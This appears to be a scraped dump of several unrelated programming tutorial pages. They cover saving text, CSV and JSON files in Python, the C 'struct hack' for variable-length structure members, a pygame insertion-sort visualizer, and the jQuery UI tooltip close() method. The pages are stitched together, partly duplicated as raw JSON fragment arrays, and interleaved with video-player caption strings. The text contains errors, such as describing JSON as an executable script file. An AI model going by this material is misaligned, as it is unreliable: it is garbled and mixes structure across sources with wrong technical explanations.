'CGPA'] # data rows of csv file rows = [ ['Nikhil', 'COE', '2', '9.0'], ['Sanchit', 'COE', '2', '9.1'], ['Aditya', 'IT', '2', '9.3'], ['Sagar', 'SE', '1', '9.5'], ['Prateek', 'MCE', '3', '7.8'], ['Sahil', 'EP', '2', '9.1']] # name of csv file filename = "university_records.csv" # writing to csv file with open(filename, 'w') as csvfile: # creating a csv writer object csvwriter = csv.writer(csvfile) # writing the fields csvwriter.writerow(fields) # writing the data rows csvwriter.writerows(rows) Output: Note: For more information, refer to Writing CSV files in Python. The full-form of JSON is JavaScript Object Notation. It means that a script (executable) file which is made of text in a programming language, is used to store and transfer the data. Python supports JSON through a built-in package called json. The text in JSON is done through quoted-string which contains the value in key-value mapping within { }. This module provides a method called dump() which converts the Python objects into appropriate json objects. import json # python object(dictionary) to be dumped dict1 ={ "emp1": { "name": "Lisa", "designation": "programmer", "age": "34", "salary": "54000" }, "emp2": { "name": "Elis", "designation": "Trainee", "age": "24", "salary": "40000" }, } # the json file where the output must be stored out_file = open("myfile.json", "w") json.dump(dict1, out_file, indent = 6) out_file.close() Output: Note: For more information, refer to Working With JSON Data in Python. Python json-programs python-csv python-file-handling Python-json Python Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Different ways to create Pandas Dataframe Enumerate() in Python Read a file line by line in Python Python String | replace() How to Install PIP on Windows ? *args and **kwargs in Python Python Classes and Objects Python OOPs Concepts Introduction To PYTHON Iterate over a list in Python
[ { "code": null, "e": 53, "s": 25, "text": "\n29 Dec, 2020" }, { "code": null, "e": 275, "s": 53, "text": "Python allows users to handle files (read, write, save and delete files and many more). Because of Python, it is very easy for us to save multiple file formats. Python has in-built functions to save multiple file formats." }, { "code": null, "e": 402, "s": 275, "text": "Opening a file refers to getting the file ready either for reading or for writing. This can be done using the open() function." }, { "code": null, "e": 410, "s": 402, "text": "Syntax:" }, { "code": null, "e": 458, "s": 410, "text": "File_object = open(\"File_Name\", \"Access_Mode\")\n" }, { "code": null, "e": 470, "s": 458, "text": "Parameters:" }, { "code": null, "e": 531, "s": 470, "text": "File_Name: The name of the file that is needed to be opened." }, { "code": null, "e": 616, "s": 531, "text": "Access_Mode: Access modes govern the type of operations possible in the opened file." }, { "code": null, "e": 667, "s": 616, "text": "Following are the most commonly used access modes:" }, { "code": null, "e": 712, "s": 667, "text": "Read Only (‘r’): Open text file for reading." }, { "code": null, "e": 757, "s": 712, "text": "Write Only (‘w’): Open the file for writing." }, { "code": null, "e": 880, "s": 757, "text": "Append Only (‘a’): Open the file for writing. The data being written will be inserted at the end, after the existing data." }, { "code": null, "e": 942, "s": 880, "text": "Read and Write (‘r+’): Open the file for reading and writing." }, { "code": null, "e": 1009, "s": 942, "text": "Note: By default, Python assumes the access mode as read i.e (“r”)" }, { "code": "# Python program to demonstrate # opening a file # Open function to open the file \"myfile.txt\" # (same directory) in read mode and store # it's reference in the variable file1 file1 = open(\"myfile.txt\") # Reading from file print(file1.read()) file1.close() ", "e": 1289, "s": 1009, "text": null }, { "code": null, "e": 1349, "s": 1289, "text": "Note: For more information, refer to Open a File in Python." }, { "code": null, "e": 1634, "s": 1349, "text": "After learning about opening a File in Python, let’s see the ways to save it. Opening a new file in write mode will create a file and after closing the file, the files get saved automatically. However, we can also write some text to the file. Python provides two methods for the same." }, { "code": null, "e": 1725, "s": 1634, "text": "write(): Inserts the string str1 in a single line in the text file.File_object.write(str1)" }, { "code": null, "e": 1749, "s": 1725, "text": "File_object.write(str1)" }, { "code": null, "e": 1939, "s": 1749, "text": "writelines(): For a list of string elements, each string is inserted in the text file. Used to insert multiple strings at a single time.File_object.writelines(L) for L = [str1, str2, str3] " }, { "code": null, "e": 1993, "s": 1939, "text": "File_object.writelines(L) for L = [str1, str2, str3] " }, { "code": null, "e": 2002, "s": 1993, "text": "Example:" }, { "code": "# Python program to demonstrate# saving a text file file = open('read.txt', 'w')file.write('Welcome to Geeks for Geeks')file.close()", "e": 2138, "s": 2002, "text": null }, { "code": null, "e": 2146, "s": 2138, "text": "Output:" }, { "code": null, "e": 2496, "s": 2146, "text": "with statement in Python is used in exception handling to make the code cleaner and much more readable. It simplifies the management of common resources like file streams. Unlike the above implementations, there is no need to call file.close() when using with statement. The with statement itself ensures proper acquisition and release of resources." }, { "code": null, "e": 2504, "s": 2496, "text": "Syntax:" }, { "code": null, "e": 2550, "s": 2504, "text": "with open filename as file:\n statement(s)" }, { "code": null, "e": 2559, "s": 2550, "text": "Example:" }, { "code": "# Python program to demonstrate# saving a text file with open('read.txt', 'w') as file: books = ['Welcome\\n', 'Geeks\\n', 'to\\n', 'Geeks\\n', 'for\\n', 'Geeks\\n', 'world\\n'] file.writelines(\"% s\\n\" % data for data in books)", "e": 2878, "s": 2559, "text": null }, { "code": null, "e": 2886, "s": 2878, "text": "Output:" }, { "code": null, "e": 2950, "s": 2886, "text": "Note: For more information, refer to Writing to file in Python." }, { "code": null, "e": 3275, "s": 2950, "text": "CSV is a Comma Separated Values files are most widely utilized for putting tabular data. CSV file stores tabular data (numbers and text) in plain text. Each line of the file is a data record. Each record consists of one or more fields, separated by commas. Python has built-in module called csv to write and Save a CSV File." }, { "code": null, "e": 3295, "s": 3275, "text": "To save a CSV File:" }, { "code": null, "e": 3333, "s": 3295, "text": "First, we need to import csv library." }, { "code": null, "e": 3468, "s": 3333, "text": "Then open the file as we usually do but instead of writing content on the read_file object, we create a new object called read_writer." }, { "code": null, "e": 3590, "s": 3468, "text": "This object provides us with the writelines() method which allows us to place all the row’s data within the enter one go." }, { "code": null, "e": 3599, "s": 3590, "text": "Example:" }, { "code": "# Python program to demonstrate # writing to CSV import csv # field names fields = ['Name', 'Branch', 'Year', 'CGPA'] # data rows of csv file rows = [ ['Nikhil', 'COE', '2', '9.0'], ['Sanchit', 'COE', '2', '9.1'], ['Aditya', 'IT', '2', '9.3'], ['Sagar', 'SE', '1', '9.5'], ['Prateek', 'MCE', '3', '7.8'], ['Sahil', 'EP', '2', '9.1']] # name of csv file filename = \"university_records.csv\" # writing to csv file with open(filename, 'w') as csvfile: # creating a csv writer object csvwriter = csv.writer(csvfile) # writing the fields csvwriter.writerow(fields) # writing the data rows csvwriter.writerows(rows)", "e": 4346, "s": 3599, "text": null }, { "code": null, "e": 4354, "s": 4346, "text": "Output:" }, { "code": null, "e": 4420, "s": 4354, "text": "Note: For more information, refer to Writing CSV files in Python." }, { "code": null, "e": 4769, "s": 4420, "text": "The full-form of JSON is JavaScript Object Notation. It means that a script (executable) file which is made of text in a programming language, is used to store and transfer the data. Python supports JSON through a built-in package called json. The text in JSON is done through quoted-string which contains the value in key-value mapping within { }." }, { "code": null, "e": 4878, "s": 4769, "text": "This module provides a method called dump() which converts the Python objects into appropriate json objects." }, { "code": "import json # python object(dictionary) to be dumped dict1 ={ \"emp1\": { \"name\": \"Lisa\", \"designation\": \"programmer\", \"age\": \"34\", \"salary\": \"54000\" }, \"emp2\": { \"name\": \"Elis\", \"designation\": \"Trainee\", \"age\": \"24\", \"salary\": \"40000\" }, } # the json file where the output must be stored out_file = open(\"myfile.json\", \"w\") json.dump(dict1, out_file, indent = 6) out_file.close() ", "e": 5352, "s": 4878, "text": null }, { "code": null, "e": 5360, "s": 5352, "text": "Output:" }, { "code": null, "e": 5431, "s": 5360, "text": "Note: For more information, refer to Working With JSON Data in Python." }, { "code": null, "e": 5452, "s": 5431, "text": "Python json-programs" }, { "code": null, "e": 5463, "s": 5452, "text": "python-csv" }, { "code": null, "e": 5484, "s": 5463, "text": "python-file-handling" }, { "code": null, "e": 5496, "s": 5484, "text": "Python-json" }, { "code": null, "e": 5503, "s": 5496, "text": "Python" }, { "code": null, "e": 5601, "s": 5503, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 5643, "s": 5601, "text": "Different ways to create Pandas Dataframe" }, { "code": null, "e": 5665, "s": 5643, "text": "Enumerate() in Python" }, { "code": null, "e": 5700, "s": 5665, "text": "Read a file line by line in Python" }, { "code": null, "e": 5726, "s": 5700, "text": "Python String | replace()" }, { "code": null, "e": 5758, "s": 5726, "text": "How to Install PIP on Windows ?" }, { "code": null, "e": 5787, "s": 5758, "text": "*args and **kwargs in Python" }, { "code": null, "e": 5814, "s": 5787, "text": "Python Classes and Objects" }, { "code": null, "e": 5835, "s": 5814, "text": "Python OOPs Concepts" }, { "code": null, "e": 5858, "s": 5835, "text": "Introduction To PYTHON" } ]
Struct Hack
06 Sep, 2021 What will be the size of following structure? CPP struct employee{ int emp_id; int name_len; char name[0];}; 4 + 4 + 0 = 8 bytes.And what about size of “name[0]”. In gcc, when we create an array of zero length, it is considered as array of incomplete type that’s why gcc reports its size as “0” bytes. This technique is known as “Struct Hack”. When we create array of zero length inside structure, it must be (and only) last member of structure. Shortly we will see how to use it. “Struct Hack” technique is used to create variable length member in a structure. In the above structure, string length of “name” is not fixed, so we can use “name” as variable length array.Let us see below memory allocation. struct employee *e = malloc(sizeof(*e) + sizeof(char) * 128); is equivalent to CPP struct employee{ int emp_id; int name_len; char name[128]; /* character array of size 128 */}; And below memory allocation struct employee *e = malloc(sizeof(*e) + sizeof(char) * 1024); is equivalent to Chapters descriptions off, selected captions settings, opens captions settings dialog captions off, selected English This is a modal window. Beginning of dialog window. Escape will cancel and close the window. End of dialog window. CPP struct employee{ int emp_id; int name_len; char name[1024]; /* character array of size 1024 */}; Note: since name is character array, in malloc instead of “sizeof(char) * 128”, we can use “128” directly. sizeof is used to avoid confusion.Now we can use “name” same as pointer. e.g. e->emp_id = 100; e->name_len = strlen("Geeks For Geeks"); strncpy(e->name, "Geeks For Geeks", e->name_len); When we allocate memory as given above, compiler will allocate memory to store “emp_id” and “name_len” plus contiguous memory to store “name”. When we use this technique, gcc guaranties that, “name” will get contiguous memory. Obviously there are other ways to solve problem, one is we can use character pointer. But there is no guarantee that character pointer will get contiguous memory, and we can take advantage of this contiguous memory. For example, by using this technique, we can allocate and deallocate memory by using single malloc and free call (because memory is contagious). Other advantage of this is, suppose if we want to write data, we can write whole data by using single “write()” call. e.g. write(fd, e, sizeof(*e) + name_len); /* write emp_id + name_len + name */ If we use character pointer, then we need 2 write calls to write data. e.g. write(fd, e, sizeof(*e)); /* write emp_id + name_len */ write(fd, e->name, e->name_len); /* write name */ Note: In C99, there is feature called “flexible array members”, which works same as “Struct Hack”This article is compiled by Narendra Kangralkar. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above rajeev0719singh C-Struct-Union-Enum cpp-structure C Language Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here.
[ { "code": null, "e": 52, "s": 24, "text": "\n06 Sep, 2021" }, { "code": null, "e": 99, "s": 52, "text": "What will be the size of following structure? " }, { "code": null, "e": 103, "s": 99, "text": "CPP" }, { "code": "struct employee{ int emp_id; int name_len; char name[0];};", "e": 182, "s": 103, "text": null }, { "code": null, "e": 779, "s": 182, "text": "4 + 4 + 0 = 8 bytes.And what about size of “name[0]”. In gcc, when we create an array of zero length, it is considered as array of incomplete type that’s why gcc reports its size as “0” bytes. This technique is known as “Struct Hack”. When we create array of zero length inside structure, it must be (and only) last member of structure. Shortly we will see how to use it. “Struct Hack” technique is used to create variable length member in a structure. In the above structure, string length of “name” is not fixed, so we can use “name” as variable length array.Let us see below memory allocation." }, { "code": null, "e": 842, "s": 779, "text": "struct employee *e = malloc(sizeof(*e) + sizeof(char) * 128); " }, { "code": null, "e": 860, "s": 842, "text": "is equivalent to " }, { "code": null, "e": 864, "s": 860, "text": "CPP" }, { "code": "struct employee{ int emp_id; int name_len; char name[128]; /* character array of size 128 */};", "e": 982, "s": 864, "text": null }, { "code": null, "e": 1011, "s": 982, "text": "And below memory allocation " }, { "code": null, "e": 1075, "s": 1011, "text": "struct employee *e = malloc(sizeof(*e) + sizeof(char) * 1024); " }, { "code": null, "e": 1094, "s": 1075, "text": "is equivalent to " }, { "code": null, "e": 1103, "s": 1094, "text": "Chapters" }, { "code": null, "e": 1130, "s": 1103, "text": "descriptions off, selected" }, { "code": null, "e": 1180, "s": 1130, "text": "captions settings, opens captions settings dialog" }, { "code": null, "e": 1203, "s": 1180, "text": "captions off, selected" }, { "code": null, "e": 1211, "s": 1203, "text": "English" }, { "code": null, "e": 1235, "s": 1211, "text": "This is a modal window." }, { "code": null, "e": 1304, "s": 1235, "text": "Beginning of dialog window. Escape will cancel and close the window." }, { "code": null, "e": 1326, "s": 1304, "text": "End of dialog window." }, { "code": null, "e": 1330, "s": 1326, "text": "CPP" }, { "code": "struct employee{ int emp_id; int name_len; char name[1024]; /* character array of size 1024 */};", "e": 1453, "s": 1330, "text": null }, { "code": null, "e": 1639, "s": 1453, "text": "Note: since name is character array, in malloc instead of “sizeof(char) * 128”, we can use “128” directly. sizeof is used to avoid confusion.Now we can use “name” same as pointer. e.g. " }, { "code": null, "e": 1754, "s": 1639, "text": "e->emp_id = 100;\ne->name_len = strlen(\"Geeks For Geeks\");\nstrncpy(e->name, \"Geeks For Geeks\", e->name_len);" }, { "code": null, "e": 2465, "s": 1754, "text": "When we allocate memory as given above, compiler will allocate memory to store “emp_id” and “name_len” plus contiguous memory to store “name”. When we use this technique, gcc guaranties that, “name” will get contiguous memory. Obviously there are other ways to solve problem, one is we can use character pointer. But there is no guarantee that character pointer will get contiguous memory, and we can take advantage of this contiguous memory. For example, by using this technique, we can allocate and deallocate memory by using single malloc and free call (because memory is contagious). Other advantage of this is, suppose if we want to write data, we can write whole data by using single “write()” call. e.g." }, { "code": null, "e": 2540, "s": 2465, "text": "write(fd, e, sizeof(*e) + name_len); /* write emp_id + name_len + name */ " }, { "code": null, "e": 2616, "s": 2540, "text": "If we use character pointer, then we need 2 write calls to write data. e.g." }, { "code": null, "e": 2733, "s": 2616, "text": "write(fd, e, sizeof(*e)); /* write emp_id + name_len */\nwrite(fd, e->name, e->name_len); /* write name */" }, { "code": null, "e": 3004, "s": 2733, "text": "Note: In C99, there is feature called “flexible array members”, which works same as “Struct Hack”This article is compiled by Narendra Kangralkar. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above " }, { "code": null, "e": 3020, "s": 3004, "text": "rajeev0719singh" }, { "code": null, "e": 3040, "s": 3020, "text": "C-Struct-Union-Enum" }, { "code": null, "e": 3054, "s": 3040, "text": "cpp-structure" }, { "code": null, "e": 3065, "s": 3054, "text": "C Language" } ]
Sorting algorithm visualization : Insertion Sort
28 Dec, 2021 An algorithm like Insertion Sort can be understood easily by visualizing. In this article, a program that visualizes the Insertion Sort Algorithm has been implemented. The Graphical User Interface(GUI) is implemented in python using pygame library. Approach: Generate random array and fill the pygame window with bars. Bars are straight vertical lines, which represents array elements. Set all bars to green color (unsorted). Use pygame.time.delay() to slow down the algorithm, so that we can see the sorting process. Implement a timer to see how the algorithm performs. The actions are performed using ‘pygame.event.get()’ method, which stores all the events which user performs, such as start, reset. Blue color is used to highlight bars that are involved in sorting at a particular time. Orange color highlights the bars sorted. Observations: We can clearly see from the Insertion Sort visualization, that insertion Sort is very slow compared to other sorting algorithms like Mergesort or Quicksort. Examples: Input: Press “Enter” key to Perform Visualization. Press “R” key to generate new array. Output: Initial: Sorting: Final: Please make sure to install the pygame library before running the below program.Below is the implementation of the above visualizer: Python3 # Python implementation of the# Sorting visualiser: Insertion Sort # Importsimport pygameimport randomimport timepygame.font.init()startTime = time.time()# Total windowscreen = pygame.display.set_mode( (900, 650) ) # Title and Iconpygame.display.set_caption( "SORTING VISUALISER" ) # Uncomment below lines for setting# up the icon for the visuliser# img = pygame.image.load('sorticon.png')# pygame.display.set_icon(img) # Boolean variable to run# the program in while looprun = True # Window size and some initialswidth = 900length = 600array =[0]*151arr_clr =[(0, 204, 102)]*151clr_ind = 0clr =[(0, 204, 102), (255, 0, 0), \ (0, 0, 153), (255, 102, 0)]fnt = pygame.font.SysFont("comicsans", 30)fnt1 = pygame.font.SysFont("comicsans", 20) # Function to generate new Arraydef generate_arr(): for i in range(1, 151): arr_clr[i]= clr[0] array[i]= random.randrange(1, 100) # Initially generate a arraygenerate_arr() # Function to refill the# updates on the windowdef refill(): screen.fill((255, 255, 255)) draw() pygame.display.update() pygame.time.delay(10) # Sorting Algorithm: Insertion sortdef insertionSort(array): for i in range(1, len(array)): pygame.event.pump() refill() key = array[i] arr_clr[i]= clr[2] j = i-1 while j>= 0 and key<array[j]: arr_clr[j]= clr[2] array[j + 1]= array[j] refill() arr_clr[j]= clr[3] j = j-1 array[j + 1]= key refill() arr_clr[i]= clr[0] # Function to Draw the array valuesdef draw(): # Text should be rendered txt = fnt.render("SORT: PRESS 'ENTER'", \ 1, (0, 0, 0)) # Position where text is placed screen.blit(txt, (20, 20)) txt1 = fnt.render("NEW ARRAY: PRESS 'R'", \ 1, (0, 0, 0)) screen.blit(txt1, (20, 40)) txt2 = fnt1.render("ALGORITHM USED:"\ "INSERTION SORT", 1, (0, 0, 0)) screen.blit(txt2, (600, 60)) text3 = fnt1.render("Running Time(sec): "+\ str(int(time.time() - startTime)), \ 1, (0, 0, 0)) screen.blit(text3, (600, 20)) element_width =(width-150)//150 boundry_arr = 900 / 150 boundry_grp = 550 / 100 pygame.draw.line(screen, (0, 0, 0), (0, 95), \ (900, 95), 6) # Drawing the array values as lines for i in range(1, 151): pygame.draw.line(screen, arr_clr[i], \ (boundry_arr * i-3, 100), \ (boundry_arr * i-3, \ array[i]*boundry_grp + 100), element_width) # Program should be run# continuously to keep the window openwhile run: # background screen.fill((255, 255, 255)) # Event handler stores all event for event in pygame.event.get(): # If we click Close button in window if event.type == pygame.QUIT: run = False if event.type == pygame.KEYDOWN: if event.key == pygame.K_r: generate_arr() if event.key == pygame.K_RETURN: insertionSort(array) draw() pygame.display.update() pygame.quit() Output: singghakshay amartyaghoshgfg Insertion Sort Python-PyGame Algorithms Analysis Articles Articles Project Python Python Programs Sorting Sorting Algorithms Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. DSA Sheet by Love Babbar SDE SHEET - A Complete Guide for SDE Preparation What is Hashing | A Complete Tutorial Understanding Time Complexity with Simple Examples CPU Scheduling in Operating Systems Understanding Time Complexity with Simple Examples Time Complexity and Space Complexity Practice Questions on Time Complexity Analysis Analysis of Algorithms | Set 3 (Asymptotic Notations) Analysis of Algorithms | Set 2 (Worst, Average and Best Cases)
[ { "code": null, "e": 28, "s": 0, "text": "\n28 Dec, 2021" }, { "code": null, "e": 289, "s": 28, "text": "An algorithm like Insertion Sort can be understood easily by visualizing. In this article, a program that visualizes the Insertion Sort Algorithm has been implemented. The Graphical User Interface(GUI) is implemented in python using pygame library. Approach: " }, { "code": null, "e": 416, "s": 289, "text": "Generate random array and fill the pygame window with bars. Bars are straight vertical lines, which represents array elements." }, { "code": null, "e": 456, "s": 416, "text": "Set all bars to green color (unsorted)." }, { "code": null, "e": 548, "s": 456, "text": "Use pygame.time.delay() to slow down the algorithm, so that we can see the sorting process." }, { "code": null, "e": 601, "s": 548, "text": "Implement a timer to see how the algorithm performs." }, { "code": null, "e": 733, "s": 601, "text": "The actions are performed using ‘pygame.event.get()’ method, which stores all the events which user performs, such as start, reset." }, { "code": null, "e": 821, "s": 733, "text": "Blue color is used to highlight bars that are involved in sorting at a particular time." }, { "code": null, "e": 862, "s": 821, "text": "Orange color highlights the bars sorted." }, { "code": null, "e": 1045, "s": 862, "text": "Observations: We can clearly see from the Insertion Sort visualization, that insertion Sort is very slow compared to other sorting algorithms like Mergesort or Quicksort. Examples: " }, { "code": null, "e": 1152, "s": 1045, "text": "Input: Press “Enter” key to Perform Visualization. Press “R” key to generate new array. Output: Initial: " }, { "code": null, "e": 1163, "s": 1152, "text": "Sorting: " }, { "code": null, "e": 1172, "s": 1163, "text": "Final: " }, { "code": null, "e": 1308, "s": 1174, "text": "Please make sure to install the pygame library before running the below program.Below is the implementation of the above visualizer: " }, { "code": null, "e": 1316, "s": 1308, "text": "Python3" }, { "code": "# Python implementation of the# Sorting visualiser: Insertion Sort # Importsimport pygameimport randomimport timepygame.font.init()startTime = time.time()# Total windowscreen = pygame.display.set_mode( (900, 650) ) # Title and Iconpygame.display.set_caption( \"SORTING VISUALISER\" ) # Uncomment below lines for setting# up the icon for the visuliser# img = pygame.image.load('sorticon.png')# pygame.display.set_icon(img) # Boolean variable to run# the program in while looprun = True # Window size and some initialswidth = 900length = 600array =[0]*151arr_clr =[(0, 204, 102)]*151clr_ind = 0clr =[(0, 204, 102), (255, 0, 0), \\ (0, 0, 153), (255, 102, 0)]fnt = pygame.font.SysFont(\"comicsans\", 30)fnt1 = pygame.font.SysFont(\"comicsans\", 20) # Function to generate new Arraydef generate_arr(): for i in range(1, 151): arr_clr[i]= clr[0] array[i]= random.randrange(1, 100) # Initially generate a arraygenerate_arr() # Function to refill the# updates on the windowdef refill(): screen.fill((255, 255, 255)) draw() pygame.display.update() pygame.time.delay(10) # Sorting Algorithm: Insertion sortdef insertionSort(array): for i in range(1, len(array)): pygame.event.pump() refill() key = array[i] arr_clr[i]= clr[2] j = i-1 while j>= 0 and key<array[j]: arr_clr[j]= clr[2] array[j + 1]= array[j] refill() arr_clr[j]= clr[3] j = j-1 array[j + 1]= key refill() arr_clr[i]= clr[0] # Function to Draw the array valuesdef draw(): # Text should be rendered txt = fnt.render(\"SORT: PRESS 'ENTER'\", \\ 1, (0, 0, 0)) # Position where text is placed screen.blit(txt, (20, 20)) txt1 = fnt.render(\"NEW ARRAY: PRESS 'R'\", \\ 1, (0, 0, 0)) screen.blit(txt1, (20, 40)) txt2 = fnt1.render(\"ALGORITHM USED:\"\\ \"INSERTION SORT\", 1, (0, 0, 0)) screen.blit(txt2, (600, 60)) text3 = fnt1.render(\"Running Time(sec): \"+\\ str(int(time.time() - startTime)), \\ 1, (0, 0, 0)) screen.blit(text3, (600, 20)) element_width =(width-150)//150 boundry_arr = 900 / 150 boundry_grp = 550 / 100 pygame.draw.line(screen, (0, 0, 0), (0, 95), \\ (900, 95), 6) # Drawing the array values as lines for i in range(1, 151): pygame.draw.line(screen, arr_clr[i], \\ (boundry_arr * i-3, 100), \\ (boundry_arr * i-3, \\ array[i]*boundry_grp + 100), element_width) # Program should be run# continuously to keep the window openwhile run: # background screen.fill((255, 255, 255)) # Event handler stores all event for event in pygame.event.get(): # If we click Close button in window if event.type == pygame.QUIT: run = False if event.type == pygame.KEYDOWN: if event.key == pygame.K_r: generate_arr() if event.key == pygame.K_RETURN: insertionSort(array) draw() pygame.display.update() pygame.quit()", "e": 4536, "s": 1316, "text": null }, { "code": null, "e": 4546, "s": 4536, "text": "Output: " }, { "code": null, "e": 4561, "s": 4548, "text": "singghakshay" }, { "code": null, "e": 4577, "s": 4561, "text": "amartyaghoshgfg" }, { "code": null, "e": 4592, "s": 4577, "text": "Insertion Sort" }, { "code": null, "e": 4606, "s": 4592, "text": "Python-PyGame" }, { "code": null, "e": 4617, "s": 4606, "text": "Algorithms" }, { "code": null, "e": 4626, "s": 4617, "text": "Analysis" }, { "code": null, "e": 4635, "s": 4626, "text": "Articles" }, { "code": null, "e": 4644, "s": 4635, "text": "Articles" }, { "code": null, "e": 4652, "s": 4644, "text": "Project" }, { "code": null, "e": 4659, "s": 4652, "text": "Python" }, { "code": null, "e": 4675, "s": 4659, "text": "Python Programs" }, { "code": null, "e": 4683, "s": 4675, "text": "Sorting" }, { "code": null, "e": 4691, "s": 4683, "text": "Sorting" }, { "code": null, "e": 4702, "s": 4691, "text": "Algorithms" }, { "code": null, "e": 4800, "s": 4702, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 4825, "s": 4800, "text": "DSA Sheet by Love Babbar" }, { "code": null, "e": 4874, "s": 4825, "text": "SDE SHEET - A Complete Guide for SDE Preparation" }, { "code": null, "e": 4912, "s": 4874, "text": "What is Hashing | A Complete Tutorial" }, { "code": null, "e": 4963, "s": 4912, "text": "Understanding Time Complexity with Simple Examples" }, { "code": null, "e": 4999, "s": 4963, "text": "CPU Scheduling in Operating Systems" }, { "code": null, "e": 5050, "s": 4999, "text": "Understanding Time Complexity with Simple Examples" }, { "code": null, "e": 5087, "s": 5050, "text": "Time Complexity and Space Complexity" }, { "code": null, "e": 5134, "s": 5087, "text": "Practice Questions on Time Complexity Analysis" }, { "code": null, "e": 5188, "s": 5134, "text": "Analysis of Algorithms | Set 3 (Asymptotic Notations)" } ]
jQuery UI Tooltips close() Method - GeeksforGeeks
05 Feb, 2021 jQuery UI consists of GUI widgets, visual effects, and themes implemented using jQuery, CSS, and HTML. jQuery UI is great for building UI interfaces for the webpages. jQuery UI tooltip widget helps us to adds new themes and allows for customization. In this article, we will see how to use the close option in jQuery UI tooltips. The close option is used to close the tooltips in jQuery UI. Syntax: $(".selector").tooltip("close"); Parameters: This method does not accept any parameters. CDN Link: First, add jQuery UI scripts needed for your project. <link href = “https://code.jquery.com/ui/1.10.4/themes/ui-lightness/jquery-ui.css” rel = “stylesheet”><script src = “https://code.jquery.com/jquery-1.10.2.js”></script><script src = “https://code.jquery.com/ui/1.10.4/jquery-ui.js”></script> Example: The following example demonstrates the close option for the tooltip. HTML <!DOCTYPE html><html lang="en"> <head> <meta charset="utf-8" /> <link href="https://code.jquery.com/ui/1.10.4/themes/ui-lightness/jquery-ui.css" rel="stylesheet" /> <script src="https://code.jquery.com/jquery-1.10.2.js"> </script> <script src="https://code.jquery.com/ui/1.10.4/jquery-ui.js"> </script> <h1 style="color: green">GeeksforGeeks</h1> <h3>jQuery UI | Tooltip close method</h3> <script> $(function () { $("#gfgtt").tooltip({ track: true, }); $("#gfg").click(function () { $("#gfgtt").tooltip("close"); }); }); </script> </head> <body> <input id="gfg" type="submit" name="GeeksforGeeks" value="click" /> <span id="gfgtt" title="GeeksforGeeks"> Click here!</span> </body></html> Output: Reference: https://api.jqueryui.com/tooltip/#method-close jQuery-UI JQuery Web Technologies Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. JQuery | Set the value of an input text field Form validation using jQuery How to change selected value of a drop-down list using jQuery? How to change the background color after clicking the button in JavaScript ? How to fetch data from JSON file and display in HTML table using jQuery ? Remove elements from a JavaScript Array Installation of Node.js on Linux Convert a string to an integer in JavaScript How to fetch data from an API in ReactJS ? How to insert spaces/tabs in text using HTML/CSS?
[ { "code": null, "e": 52596, "s": 52568, "text": "\n05 Feb, 2021" }, { "code": null, "e": 52987, "s": 52596, "text": "jQuery UI consists of GUI widgets, visual effects, and themes implemented using jQuery, CSS, and HTML. jQuery UI is great for building UI interfaces for the webpages. jQuery UI tooltip widget helps us to adds new themes and allows for customization. In this article, we will see how to use the close option in jQuery UI tooltips. The close option is used to close the tooltips in jQuery UI." }, { "code": null, "e": 52995, "s": 52987, "text": "Syntax:" }, { "code": null, "e": 53028, "s": 52995, "text": "$(\".selector\").tooltip(\"close\");" }, { "code": null, "e": 53084, "s": 53028, "text": "Parameters: This method does not accept any parameters." }, { "code": null, "e": 53148, "s": 53084, "text": "CDN Link: First, add jQuery UI scripts needed for your project." }, { "code": null, "e": 53389, "s": 53148, "text": "<link href = “https://code.jquery.com/ui/1.10.4/themes/ui-lightness/jquery-ui.css” rel = “stylesheet”><script src = “https://code.jquery.com/jquery-1.10.2.js”></script><script src = “https://code.jquery.com/ui/1.10.4/jquery-ui.js”></script>" }, { "code": null, "e": 53467, "s": 53389, "text": "Example: The following example demonstrates the close option for the tooltip." }, { "code": null, "e": 53472, "s": 53467, "text": "HTML" }, { "code": "<!DOCTYPE html><html lang=\"en\"> <head> <meta charset=\"utf-8\" /> <link href=\"https://code.jquery.com/ui/1.10.4/themes/ui-lightness/jquery-ui.css\" rel=\"stylesheet\" /> <script src=\"https://code.jquery.com/jquery-1.10.2.js\"> </script> <script src=\"https://code.jquery.com/ui/1.10.4/jquery-ui.js\"> </script> <h1 style=\"color: green\">GeeksforGeeks</h1> <h3>jQuery UI | Tooltip close method</h3> <script> $(function () { $(\"#gfgtt\").tooltip({ track: true, }); $(\"#gfg\").click(function () { $(\"#gfgtt\").tooltip(\"close\"); }); }); </script> </head> <body> <input id=\"gfg\" type=\"submit\" name=\"GeeksforGeeks\" value=\"click\" /> <span id=\"gfgtt\" title=\"GeeksforGeeks\"> Click here!</span> </body></html>", "e": 54275, "s": 53472, "text": null }, { "code": null, "e": 54283, "s": 54275, "text": "Output:" }, { "code": null, "e": 54341, "s": 54283, "text": "Reference: https://api.jqueryui.com/tooltip/#method-close" }, { "code": null, "e": 54351, "s": 54341, "text": "jQuery-UI" }, { "code": null, "e": 54358, "s": 54351, "text": "JQuery" }, { "code": null, "e": 54375, "s": 54358, "text": "Web Technologies" }, { "code": null, "e": 54473, "s": 54375, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 54519, "s": 54473, "text": "JQuery | Set the value of an input text field" }, { "code": null, "e": 54548, "s": 54519, "text": "Form validation using jQuery" }, { "code": null, "e": 54611, "s": 54548, "text": "How to change selected value of a drop-down list using jQuery?" }, { "code": null, "e": 54688, "s": 54611, "text": "How to change the background color after clicking the button in JavaScript ?" }, { "code": null, "e": 54762, "s": 54688, "text": "How to fetch data from JSON file and display in HTML table using jQuery ?" }, { "code": null, "e": 54802, "s": 54762, "text": "Remove elements from a JavaScript Array" }, { "code": null, "e": 54835, "s": 54802, "text": "Installation of Node.js on Linux" }, { "code": null, "e": 54880, "s": 54835, "text": "Convert a string to an integer in JavaScript" }, { "code": null, "e": 54923, "s": 54880, "text": "How to fetch data from an API in ReactJS ?" } ]
Mobile Telephone System - GeeksforGeeks
